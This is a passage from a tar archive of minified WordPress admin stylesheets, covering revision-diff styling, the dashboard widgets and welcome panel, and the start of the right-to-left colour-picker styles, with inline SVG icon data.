2em;vertical-align:top;word-wrap:break-word}table.diff td h1,table.diff td h2,table.diff td h3,table.diff td h4,table.diff td h5,table.diff td h6{margin:0}table.diff .diff-addedline ins,table.diff .diff-deletedline del{text-decoration:none}table.diff .diff-deletedline{position:relative;background-color:#fcf0f1}table.diff .diff-deletedline del{background-color:#ffabaf}table.diff .diff-addedline{position:relative;background-color:#edfaef}table.diff .diff-addedline .dashicons,table.diff .diff-deletedline .dashicons{position:absolute;top:.85714286em;left:.5em;width:1em;height:1em;font-size:1em;line-height:1}table.diff .diff-addedline .dashicons{top:.92857143em}table.diff .diff-addedline ins{background-color:#68de7c}.diff-meta{padding:5px;clear:both;min-height:32px}.diff-title strong{line-height:2.46153846;min-width:60px;text-align:right;float:left;margin-right:5px}.revisions-controls .author-card .author-info{font-size:12px;line-height:1.33333333}.revisions-controls .author-card .author-info,.revisions-controls .author-card .avatar{float:left;margin-left:6px;margin-right:6px}.revisions-controls .author-card .byline{display:block;font-size:12px}.revisions-controls .author-card .avatar{vertical-align:middle}.diff-meta input.restore-revision{float:right;margin-left:6px;margin-right:6px}.diff-meta-from{display:none}.comparing-two-revisions .diff-meta-from{display:block}.revisions-tooltip{position:absolute;bottom:105px;margin-right:0;margin-left:-69px;z-index:0;max-width:350px;min-width:130px;padding:8px 4px;display:none;opacity:0}.revisions-tooltip.flipped{margin-left:0;margin-right:-70px}.revisions.pinned .revisions-tooltip{display:none!important}.comparing-two-revisions .revisions-tooltip{bottom:145px}.revisions-tooltip-arrow{width:70px;height:15px;overflow:hidden;position:absolute;left:0;margin-left:35px;bottom:-15px}.revisions-tooltip.flipped .revisions-tooltip-arrow{margin-left:0;margin-right:35px;left:auto;right:0}.revisions-tooltip-arrow>span{content:"";position:absolute;left:20px;top:-20px;width:25px;height:25px;transform:rotate(45deg)}.revisions-tooltip.flipped .revisions-tooltip-arrow>span{left:auto;right:20px}.revisions-tooltip,.revisions-tooltip-arrow>span{border:1px solid #dcdcde;background-color:#fff}.revisions-tooltip{display:none}.arrow{width:70px;height:16px;overflow:hidden;position:absolute;left:0;margin-left:-35px;bottom:90px;z-index:10000}.arrow:after{z-index:9999;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.arrow.top{top:-16px;bottom:auto}.arrow.left{left:20%}.arrow:after{content:"";position:absolute;left:20px;top:-20px;width:25px;height:25px;transform:rotate(45deg)}.revisions-tooltip,.revisions-tooltip-arrow:after{border-width:1px;border-style:solid}div.revisions-controls>.wp-slider>.ui-slider-handle{margin-left:-10px}.rtl div.revisions-controls>.wp-slider>.ui-slider-handle{margin-right:-10px}.wp-slider.ui-slider{position:relative;border:1px solid #dcdcde;text-align:left;cursor:pointer}.wp-slider .ui-slider-handle{border-radius:50%;height:18px;margin-top:-5px;outline:0;padding:2px;position:absolute;width:18px;z-index:2;touch-action:none}.wp-slider .ui-slider-handle{background:#f6f7f7;border:1px solid #c3c4c7;box-shadow:0 1px 0 #c3c4c7}.wp-slider .ui-slider-handle.ui-state-hover,.wp-slider .ui-slider-handle:hover{background:#f6f7f7;border-color:#8c8f94}.wp-slider .ui-slider-handle.ui-state-active,.wp-slider .ui-slider-handle:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);transform:translateY(1px)}.wp-slider .ui-slider-handle.ui-state-focus,.wp-slider .ui-slider-handle:focus{background:#f0f0f1;border-color:#8c8f94;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.wp-slider .ui-slider-handle:before{background:0 0;position:absolute;top:2px;left:2px;color:#50575e;content:"\f229";content:"\f229"/'';font:normal 18px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-slider .ui-slider-handle.ui-state-hover:before,.wp-slider .ui-slider-handle:hover:before{color:#1d2327}.wp-slider .ui-slider-handle.from-handle:before,.wp-slider .ui-slider-handle.to-handle:before{font-size:20px!important;margin:-1px 0 0 -1px}.wp-slider .ui-slider-handle.from-handle:before{content:"\f139";content:"\f139"/''}.wp-slider .ui-slider-handle.to-handle:before{content:"\f141";content:"\f141"/''}.rtl .wp-slider .ui-slider-handle.from-handle:before{content:"\f141";content:"\f141"/''}.rtl .wp-slider .ui-slider-handle.to-handle:before{content:"\f139";content:"\f139"/'';right:-1px}.wp-slider .ui-slider-range{position:absolute;font-size:.7em;display:block;border:0;background-color:transparent;background-image:none}.wp-slider.ui-slider-horizontal{height:.7em}.wp-slider.ui-slider-horizontal .ui-slider-handle{top:-.25em;margin-left:-.6em}.wp-slider.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.wp-slider.ui-slider-horizontal .ui-slider-range-min{left:0}.wp-slider.ui-slider-horizontal .ui-slider-range-max{right:0}@media print,(min-resolution:120dpi){.revision-tick.completed-false{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:600px){.revisions-meta .author-card:not(.comparing-two-revisions .author-card){display:flex;flex-direction:column;width:fit-content;gap:16px}.comparing-two-revisions .revisions-meta .restore-revision{margin-top:16px}.revisions-controls{padding-top:0}.revision-toggle-compare-mode{position:relative;padding:1rem 0}}@media screen and (max-width:782px){#diff-next-revision,#diff-previous-revision{margin-top:-1em}.revisions-buttons{overflow:hidden;margin-bottom:15px}.comparing-two-revisions .revisions-controls,.revisions-controls{height:fit-content}.revisions-tooltip{bottom:155px;z-index:2}.comparing-two-revisions .revisions-tooltip{bottom:200px}.diff-meta{overflow:hidden}table.diff{-ms-word-break:break-all;word-break:break-all;word-wrap:break-word}} css/dashboard.min.css 0000644 00000055514 15233246127 0010576 0 ustar 00 /*! This file is auto-generated */ #wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody-content #dashboard-widgets.columns-2 .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4{float:right;width:50.5%}#wpbody-content #dashboard-widgets.columns-3 .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4{float:right}#wpbody-content #dashboard-widgets.columns-4 .postbox-container{width:25%}#dashboard-widgets .postbox-container{width:25%}#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container{border:none!important}#dashboard-widgets-wrap{overflow:hidden;margin:0 -8px}#dashboard-widgets .postbox{border-radius:8px}#dashboard-widgets .postbox-header .hndle{padding:12px 16px}#dashboard-widgets .postbox .inside{margin-bottom:0}#dashboard-widgets .meta-box-sortables{display:flow-root;min-height:0;margin:0 8px 20px}#dashboard-widgets .meta-box-sortables:not(:empty){margin-bottom:16px}#dashboard-widgets .postbox-container .empty-container{outline:2px dashed rgb(0,0,0,.15);outline-offset:-2px;border-radius:8px;height:250px;margin:4px}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{border-radius:8px;background:rgb(var(--wp-admin-theme-color--rgb),.04);min-height:100px}.is-dragging-metaboxes #dashboard-widgets .postbox-container .empty-container{background:rgb(0,0,0,.01)}#dashboard-widgets .postbox-container .empty-container:after{content:attr(data-emptystring);margin:auto;position:absolute;top:50%;left:0;right:0;transform:translateY(-50%);padding:0 2em;text-align:center;color:#646970;font-size:16px;line-height:1.5;display:none}#the-comment-list td.comment p.comment-author{margin-top:0;margin-left:0}#the-comment-list p.comment-author img{float:left;margin-right:8px}#the-comment-list p.comment-author strong a{border:none}#the-comment-list td{vertical-align:top}#the-comment-list td.comment{word-wrap:break-word}#the-comment-list td.comment img{max-width:100%}.index-php #screen-meta-links{margin:0 20px 8px 0}.welcome-panel{position:relative;overflow:auto;margin:16px 0;border-radius:8px;font-size:14px;line-height:1.3;clear:both}.welcome-panel h2{margin:0;font-size:48px;font-weight:600;line-height:1.25}.welcome-panel h3{margin:0;font-size:20px;font-weight:400;line-height:1.4}.welcome-panel p{font-size:inherit;line-height:inherit}.welcome-panel-header{position:relative;color:#fff}.welcome-panel-header-image{position:absolute!important;top:0;right:0;bottom:0;left:0;z-index:0!important;overflow:hidden}.welcome-panel-header-image svg{display:block;margin:auto;width:100%;height:100%}.rtl .welcome-panel-header-image svg{transform:scaleX(-1)}.welcome-panel-header *{color:inherit;position:relative;z-index:1}.welcome-panel-header a:focus,.welcome-panel-header a:hover{color:inherit;text-decoration:none}.welcome-panel .welcome-panel-close:focus,.welcome-panel-header a:focus{outline-color:currentColor;outline-offset:1px;box-shadow:none}.welcome-panel-header p{margin:.5em 0 0;font-size:20px;line-height:1.4}.welcome-panel .welcome-panel-close{display:flex;align-items:center;position:absolute;top:10px;right:10px;padding:10px 15px;font-size:13px;line-height:1.23076923;text-decoration:none;z-index:1}.welcome-panel .welcome-panel-close:before{transition:all .1s ease-in-out;content:'\f335';font-size:24px;color:#fff}.welcome-panel .welcome-panel-close{color:#fff}.welcome-panel .welcome-panel-close:focus,.welcome-panel .welcome-panel-close:focus::before,.welcome-panel .welcome-panel-close:hover,.welcome-panel .welcome-panel-close:hover::before{color:#fff972}.wp-core-ui .welcome-panel .button.button-hero{margin:15px 13px 3px 0;padding:12px 36px;height:auto;line-height:1.4285714;white-space:normal}.welcome-panel-content{min-height:400px;display:flex;flex-direction:column;justify-content:space-between}.welcome-panel-header-wrap{background-color:#151515}.welcome-panel-header{box-sizing:border-box;margin-left:auto;margin-right:auto;max-width:1500px;width:100%;padding:48px 0 80px 48px}.welcome-panel .welcome-panel-column-container{box-sizing:border-box;width:100%;clear:both;display:grid;z-index:1;padding:24px;grid-template-columns:repeat(3,1fr);gap:32px;align-self:flex-end;background:#fff;border:1px solid #c3c4c7;border-top:0;border-radius:0 0 8px 8px}[class*=welcome-panel-icon]{height:60px;width:60px;background-position:center;background-size:24px 24px;background-repeat:no-repeat;border-radius:100%}.welcome-panel-column>svg{margin-top:4px}.welcome-panel-column{display:grid;grid-template-columns:min-content 1fr;gap:24px}.welcome-panel-icon-pages{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E")}.welcome-panel-icon-layout{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E")}.welcome-panel-icon-styles{background-image:url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E")}.welcome-panel .welcome-widgets-menus{line-height:1.14285714}.welcome-panel .welcome-panel-column ul{margin:.8em 1em 1em 0}.welcome-panel li{font-size:14px}.welcome-panel li a{text-decoration:none}.welcome-panel .welcome-panel-column li{line-height:1.14285714;list-style-type:none;padding:0 0 8px}.welcome-panel .welcome-icon{background:0 0!important}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li span:before,.welcome-panel .welcome-icon:before{color:#646970;font:normal 20px/1 dashicons;display:inline-block;padding:0 10px 0 0;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;vertical-align:top}.welcome-panel .welcome-edit-page:before,.welcome-panel .welcome-write-blog:before{content:"\f119";content:"\f119"/'';top:-3px}.welcome-panel .welcome-add-page:before{content:"\f132";content:"\f132"/'';top:-1px}.welcome-panel .welcome-setup-home:before{content:"\f102";content:"\f102"/'';top:-1px}.welcome-panel .welcome-view-site:before{content:"\f115";content:"\f115"/'';top:-2px}.welcome-panel .welcome-widgets-menus:before{content:"\f116";content:"\f116"/'';top:-2px}.welcome-panel .welcome-widgets:before{content:"\f538";content:"\f538"/'';top:-2px}.welcome-panel .welcome-menus:before{content:"\f163";content:"\f163"/'';top:-2px}.welcome-panel .welcome-comments:before{content:"\f117";content:"\f117"/'';top:-1px}.welcome-panel .welcome-learn-more:before{content:"\f118";content:"\f118"/'';top:-1px}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li>span:before{padding:0 5px 0 0;content:"\f159";content:"\f159"/''}#dashboard_right_now .page-count a:before,#dashboard_right_now .page-count span:before{content:"\f105";content:"\f105"/''}#dashboard_right_now .post-count a:before,#dashboard_right_now .post-count span:before{content:"\f109";content:"\f109"/''}#dashboard_right_now .comment-count a:before{content:"\f101";content:"\f101"/''}#dashboard_right_now .comment-mod-count a:before{content:"\f125";content:"\f125"/''}#dashboard_right_now .storage-count a:before{content:"\f104";content:"\f104"/''}#dashboard_right_now .storage-count.warning a:before{content:"\f153";content:"\f153"/''}#dashboard_right_now .search-engines-info:before{content:"\f348";content:"\f348"/'';color:#d63638}.community-events-errors{margin:0}.community-events-loading{padding:10px 12px 8px}.community-events{margin-bottom:6px;padding:0 12px}.community-events .spinner{margin:0 2px 0}.community-events form[aria-hidden=true],.community-events-errors [aria-hidden=true],.community-events-errors[aria-hidden=true],.community-events-loading[aria-hidden=true],.community-events[aria-hidden=true]{display:none}.community-events .activity-block:first-child,.community-events h2{padding-top:12px;padding-bottom:10px}.community-events-form{margin:15px 0 5px;display:flex;gap:5px;align-items:center;flex-wrap:wrap}.community-events-form .regular-text{width:40%;margin:0;min-height:32px;padding:0 8px}#dashboard-widgets .community-events-form .button{min-height:32px;line-height:2.30769231;padding:0 12px}.community-events li.event-none{border-left:4px solid var(--wp-admin-theme-color,#3858e9)}#dashboard-widgets .community-events li.event-none a{text-decoration:underline}.community-events-form label{line-height:2.14285714}.community-events .activity-block>p{margin-bottom:0;display:inline}.community-events-toggle-location{vertical-align:middle}#dashboard-widgets .community-events-cancel.button-link{text-decoration:underline}.community-events ul{background-color:rgba(var(--wp-admin-theme-color--rgb),.08);padding-left:0;padding-right:0;padding-bottom:0}.community-events li{margin:0;padding:8px 12px;color:#2c3338}.community-events li:first-child{border-top:1px solid #e9e9ed}.community-events li~li{border-top:1px solid #e9e9ed}.community-events .activity-block.last{border-bottom:1px solid #e9e9ed;padding-top:0;margin-top:-1px}.community-events .event-info{display:block}.community-events .ce-separator::before{content:"\2022";content:"\2022"/''}.event-icon{height:18px;padding-right:10px;width:18px;display:none}.event-icon:before{color:#646970;font-size:18px}.event-meetup .event-icon:before{content:"\f484";content:"\f484"/''}.event-wordcamp .event-icon:before{content:"\f486";content:"\f486"/''}.community-events .event-title{font-weight:600;display:block}.community-events .event-date,.community-events .event-time{display:block}.community-events-footer{margin-top:0;margin-bottom:0;padding:12px;border-top:1px solid #f0f0f1;color:#646970}.community-events-footer .screen-reader-text{height:inherit;white-space:nowrap}#dashboard_primary .inside{margin:0;padding:0}#dashboard_primary .widget-loading{padding:12px 12px 0;margin-bottom:1em!important}#dashboard_primary .inside .notice{margin:0}body #dashboard-widgets .postbox form .submit{margin:0}.dashboard-widget-control-form p{margin-top:0}.rssSummary{color:#646970;margin-top:4px}#dashboard_primary .rss-widget{font-size:13px;padding:0 12px}#dashboard_primary .rss-widget:last-child{border-bottom:none;padding-bottom:8px}#dashboard_primary .rss-widget a{font-weight:400}#dashboard_primary .rss-widget span,#dashboard_primary .rss-widget span.rss-date{color:#646970}#dashboard_primary .rss-widget span.rss-date{margin-left:12px}#dashboard_primary .rss-widget ul li{padding:4px 0;margin:0}#dashboard_right_now ul{margin:0;display:inline-block;width:100%}#dashboard_right_now li{width:50%;float:left;margin-bottom:10px}#dashboard_right_now .main p{margin:0}#dashboard_right_now #wp-version-message .button{float:right;position:relative;top:-5px;margin-left:5px}#dashboard_right_now p.search-engines-info{margin:1em 0}.mu-storage{overflow:hidden}#dashboard-widgets h3.mu-storage{margin:0 0 10px;padding:0;font-size:14px;font-weight:400}#network_dashboard_right_now p input{margin:2px 1px;vertical-align:middle}#dashboard_right_now .sub{color:#50575e;background:#f6f7f7;border-top:1px solid #f0f0f1;padding:10px 12px 6px}#dashboard_right_now .sub h3{color:#50575e}#dashboard_right_now .sub p{margin:0 0 1em}#dashboard_right_now .warning a:before,#dashboard_right_now .warning span:before{color:#d63638}#dashboard_quick_press .inside{margin:0;padding:0}#dashboard_quick_press div.updated{margin-bottom:10px;border:1px solid #f0f0f1;border-width:1px 1px 1px 0}#dashboard_quick_press form{margin:12px}#dashboard_quick_press .drafts{padding:10px 0 0}#dashboard_quick_press label{display:inline-block;margin-bottom:4px}#dashboard_quick_press input,#dashboard_quick_press textarea{box-sizing:border-box;margin:0}#dashboard-widgets .postbox form .submit{margin:-39px 0;float:right}#description-wrap{margin-top:12px}#quick-press textarea#content{min-height:90px;max-height:1300px;margin:0 0 8px;padding:8px 12px;resize:none}.js #dashboard_quick_press .drafts{border-top:1px solid #f0f0f1}#dashboard_quick_press .drafts abbr{border:none}#dashboard_quick_press .drafts .view-all{float:right;margin:0 12px 0 0}#dashboard_primary a.rsswidget{font-weight:400}#dashboard_quick_press .drafts ul{margin:0 12px}#dashboard_quick_press .drafts li{margin-bottom:1em}#dashboard_quick_press .drafts li time{color:#646970}#dashboard_quick_press .drafts p{margin:0;word-wrap:break-word}#dashboard_quick_press .draft-title{word-wrap:break-word}#dashboard_quick_press .draft-title a,#dashboard_quick_press .draft-title time{margin:0 5px 0 0}#dashboard-widgets h3,#dashboard-widgets h4,#dashboard_quick_press .drafts h2{margin:0 12px 8px;padding:0;font-size:14px;font-weight:400;color:#1d2327}#dashboard_quick_press .drafts h2{line-height:inherit}#dashboard-widgets .inside h3,#dashboard-widgets .inside h4{margin-left:0;margin-right:0}#dashboard_activity .comment-meta span.approve:before{content:"\f227";content:"\f227"/'';font:20px/.5 dashicons;margin-left:5px;vertical-align:middle;position:relative;top:-1px;margin-right:2px}#dashboard_activity .inside{margin:0;padding:0 12px}#dashboard_activity .no-activity{overflow:hidden;padding:12px 0;text-align:center}#dashboard_activity .no-activity p{color:#646970;font-size:16px}#dashboard_activity .subsubsub{float:none;border-top:1px solid #f0f0f1;margin:0 -12px;padding:8px 12px 4px}#dashboard_activity .subsubsub a .count,#dashboard_activity .subsubsub a.current .count{color:#646970}#future-posts ul,#published-posts ul{margin:8px -12px 0 -12px}#future-posts li,#published-posts li{display:grid;grid-template-columns:clamp(160px,calc(2vw + 140px),200px) auto;column-gap:10px;color:#646970;padding:4px 12px}#future-posts li:nth-child(odd),#published-posts li:nth-child(odd){background-color:#f6f7f7}.activity-block{border-bottom:1px solid #f0f0f1;margin:0 -12px 6px -12px;padding:8px 12px 4px}.activity-block:last-child{border-bottom:none;margin-bottom:0}.activity-block .subsubsub li{color:#646970}#activity-widget #the-comment-list div.undo,#activity-widget #the-comment-list tr.undo{background:0 0;padding:6px 0;margin-left:12px}#activity-widget #the-comment-list .comment-item{background:#f6f7f7;padding:12px;position:relative}#activity-widget #the-comment-list .avatar{position:absolute;top:12px}#activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar{padding-left:63px}#activity-widget #the-comment-list .dashboard-comment-wrap blockquote{margin:1em 0}#activity-widget #the-comment-list .comment-item p.row-actions{margin:4px 0 0}#activity-widget #the-comment-list .comment-item:first-child{border-top:1px solid #f0f0f1}#activity-widget #the-comment-list .unapproved{background-color:#fcf9e8}#activity-widget #the-comment-list .unapproved:before{content:"";display:block;position:absolute;left:0;top:0;bottom:0;background:#d63638;width:4px}#activity-widget #the-comment-list .spam-undo-inside .avatar,#activity-widget #the-comment-list .trash-undo-inside .avatar{position:relative;top:0}#dashboard-widgets #dashboard_browser_nag.postbox .inside{margin:10px}.postbox .button-link .edit-box{display:none}.edit-box{opacity:0}.edit-box:focus,.hndle:hover .edit-box{opacity:1}#dashboard-widgets form .input-text-wrap input{width:100%}#dashboard-widgets form .textarea-wrap textarea{width:100%}#dashboard-widgets .postbox form .submit{float:none;margin:.5em 0 0;padding:0;border:none}#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish{min-width:0}#dashboard-widgets .button-link,#dashboard-widgets li a,.community-events-footer a{text-decoration:none}#dashboard-widgets h2 a{text-decoration:underline}#dashboard-widgets .hndle .postbox-title-action{float:right;line-height:1.2}#dashboard_plugins h5{font-size:14px}#latest-comments #the-comment-list{position:relative;margin:0 -12px}#activity-widget #the-comment-list .comment,#activity-widget #the-comment-list .pingback{box-shadow:inset 0 1px 0 rgba(0,0,0,.06)}#activity-widget .comments #the-comment-list .alt{background-color:transparent}#activity-widget #latest-comments #the-comment-list .comment-item{min-height:50px;margin:0;padding:12px}#latest-comments #the-comment-list .pingback{padding-left:12px!important}#latest-comments #the-comment-list .comment-item:first-child{border-top:none}#latest-comments #the-comment-list .comment-meta{line-height:1.5;margin:0;color:#646970}#latest-comments #the-comment-list .comment-meta cite{font-style:normal;font-weight:400}#latest-comments #the-comment-list .comment-item blockquote,#latest-comments #the-comment-list .comment-item blockquote p{margin:0;padding:0;display:inline}#latest-comments #the-comment-list .comment-item p.row-actions{margin:3px 0 0;padding:0;font-size:13px}.rss-widget ul{margin:0;padding:0;list-style:none}a.rsswidget{font-size:13px;font-weight:600;line-height:1.4}.rss-widget ul li{line-height:1.5;margin-bottom:12px}.rss-widget span.rss-date{color:#646970;font-size:13px;margin-left:3px}.rss-widget cite{display:block;text-align:right;margin:0 0 1em;padding:0}.rss-widget cite:before{content:"\2014";content:"\2014"/''}.dashboard-comment-wrap{word-wrap:break-word}#dashboard_browser_nag a.update-browser-link{font-size:1.2em;font-weight:600}#dashboard_browser_nag a{text-decoration:underline}#dashboard_browser_nag p.browser-update-nag.has-browser-icon{padding-right:128px}#dashboard_browser_nag .browser-icon{margin-top:-32px}#dashboard_browser_nag.postbox{background-color:#b32d2e;background-image:none;border-color:#b32d2e;color:#fff;box-shadow:none}#dashboard_browser_nag.postbox h2{border-bottom-color:transparent;background:transparent none;color:#fff;box-shadow:none}#dashboard_browser_nag a{color:#fff}#dashboard_browser_nag.postbox .postbox-header{border-color:transparent}#dashboard_browser_nag h2.hndle{border:none;font-weight:600;font-size:20px;padding-top:10px}.postbox#dashboard_browser_nag p a.dismiss{font-size:14px}.postbox#dashboard_browser_nag a,.postbox#dashboard_browser_nag p,.postbox#dashboard_browser_nag p.browser-update-nag{font-size:16px}#dashboard_php_nag .dashicons-warning{color:#dba617;padding-right:6px}#dashboard_php_nag.php-no-security-updates .dashicons-warning,#dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning{color:#d63638}#dashboard_php_nag h2{display:inline-block}#dashboard_php_nag p{margin:12px 0}.bigger-bolder-text{font-weight:600;font-size:14px}@media only screen and (min-width:1600px){.welcome-panel .welcome-panel-column-container{display:flex;justify-content:center}.welcome-panel-column{width:100%;max-width:460px}}@media only screen and (max-width:799px){#wpbody-content #dashboard-widgets .postbox-container{width:100%}#dashboard-widgets .meta-box-sortables{min-height:0}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{min-height:100px}#dashboard-widgets .meta-box-sortables.empty-container{margin-bottom:0}}@media only screen and (min-width:800px) and (max-width:1499px){#wpbody-content #dashboard-widgets .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets #postbox-container-2,#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:right;width:50.5%}#dashboard-widgets #postbox-container-3 .empty-container,#dashboard-widgets #postbox-container-4 .empty-container{border:none;height:0;min-height:0;margin-bottom:0;display:none}#dashboard-widgets #postbox-container-3 .empty-container:after,#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container{border:none;height:0;min-height:0;margin-bottom:0}.index-php .columns-prefs,.index-php .screen-layout{display:block}.columns-prefs .columns-prefs-3,.columns-prefs .columns-prefs-4{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1500px) and (max-width:1800px){#wpbody-content #dashboard-widgets .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:right}#dashboard-widgets #postbox-container-4 .empty-container{border:none;height:0;min-height:0;margin-bottom:0;display:none}#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1801px){#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media screen and (max-width:870px){.welcome-panel .welcome-panel-column li{display:inline-block;margin-right:13px}.welcome-panel .welcome-panel-column ul{margin:.4em 0 0}}@media screen and (max-width:1180px) and (min-width:783px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (max-width:782px){.welcome-panel .welcome-panel-column-container{grid-template-columns:1fr;box-sizing:border-box;padding:32px;width:100%}.welcome-panel .welcome-panel-column-content{max-width:520px}.welcome-panel .welcome-panel-close{overflow:hidden;text-indent:40px;white-space:nowrap;width:20px;height:20px;padding:5px;top:5px;right:5px}.welcome-panel .welcome-panel-close::before{position:absolute;top:5px;left:-35px}#dashboard-widgets h2{padding:12px}#dashboard_recent_comments #the-comment-list .comment-item .avatar{height:30px;width:30px;margin:4px 10px 5px 0}.community-events-toggle-location{height:38px;vertical-align:baseline}#community-events-submit{margin-bottom:0}#dashboard-widgets .community-events-cancel.button-link,.community-events-form label{font-size:14px;line-height:normal;padding:6px 0;border:1px solid transparent}}@media screen and (max-width:600px){.welcome-panel-header{padding:32px 32px 64px}.welcome-panel-header-image{display:none}}@media screen and (max-width:480px){.welcome-panel-column{gap:16px}}@media screen and (max-width:360px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (min-width:355px){.community-events .event-info{display:table-row;float:left;max-width:59%}.event-icon,.event-icon[aria-hidden=true]{display:table-cell}.event-info-inner{display:table-cell}.community-events .event-date-time{float:right;max-width:39%}.community-events .event-date,.community-events .event-time{text-align:right}} css/color-picker-rtl.min.css 0000644 00000006201 15233246127 0012024 0 ustar 00 /*! This file is auto-generated */ .wp-color-picker{width:80px;direction:ltr}.wp-picker-container .hidden{display:none}.wp-picker-container .wp-color-result.button{min-height:32px;margin:0 0 6px 6px;padding:0 30px 0 0;font-size:11px}.wp-color-result-text{background:#f6f7f7;border-radius:2px 0 0 2px;border-right:1px solid #c3c4c7;color:#50575e;display:block;line-height:2.72727273;padding:0 6px;text-align:center}.wp-color-result:focus,.wp-color-result:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.wp-color-result:focus:after,.wp-color-result:hover:after{color:#1d2327;border-color:#a7aaad;border-right:1px solid #8c8f94}.wp-picker-container{display:inline-block}.wp-color-result:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.wp-color-result:active{transform:none!important}.wp-picker-open+.wp-picker-input-wrap{display:inline-block;vertical-align:top}.wp-picker-input-wrap label{display:inline-block;vertical-align:top}.form-table .wp-picker-input-wrap label{margin:0!important}.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear,.wp-customizer .wp-picker-input-wrap .button.wp-picker-default,.wp-picker-input-wrap .button.wp-picker-clear,.wp-picker-input-wrap .button.wp-picker-default{margin-right:6px;padding:0 8px;line-height:2.72727273;min-height:32px}.wp-picker-container .iris-square-slider .ui-slider-handle:focus{background-color:#50575e}.wp-picker-container .iris-picker{border-radius:0;border-color:#dcdcde;margin-top:6px}.wp-picker-container input[type=text].wp-color-picker{width:4rem;font-size:12px;font-family:monospace;margin:0;padding:0 5px;vertical-align:top;min-height:32px}.wp-color-picker::-webkit-input-placeholder{color:#646970}.wp-color-picker::-moz-placeholder{color:#646970}.wp-picker-container input[type=text].iris-error{background-color:#fcf0f1;border-color:#d63638;color:#000}.iris-picker .iris-strip .ui-slider-handle:focus,.iris-picker .ui-square-handle:focus{border-color:var(--wp-admin-theme-color,#3858e9);border-style:solid;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.iris-picker .iris-palette:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9)}@media screen and (max-width:782px){.wp-picker-container input[type=text].wp-color-picker{width:5rem;font-size:16px;line-height:1.875;min-height:32px}.wp-customizer .wp-picker-container input[type=text].wp-color-picker{padding:0 5px}.wp-picker-input-wrap .button.wp-picker-clear,.wp-picker-input-wrap .button.wp-picker-default{padding:0 8px;line-height:2.14285714;min-height:32px}.wp-customizer 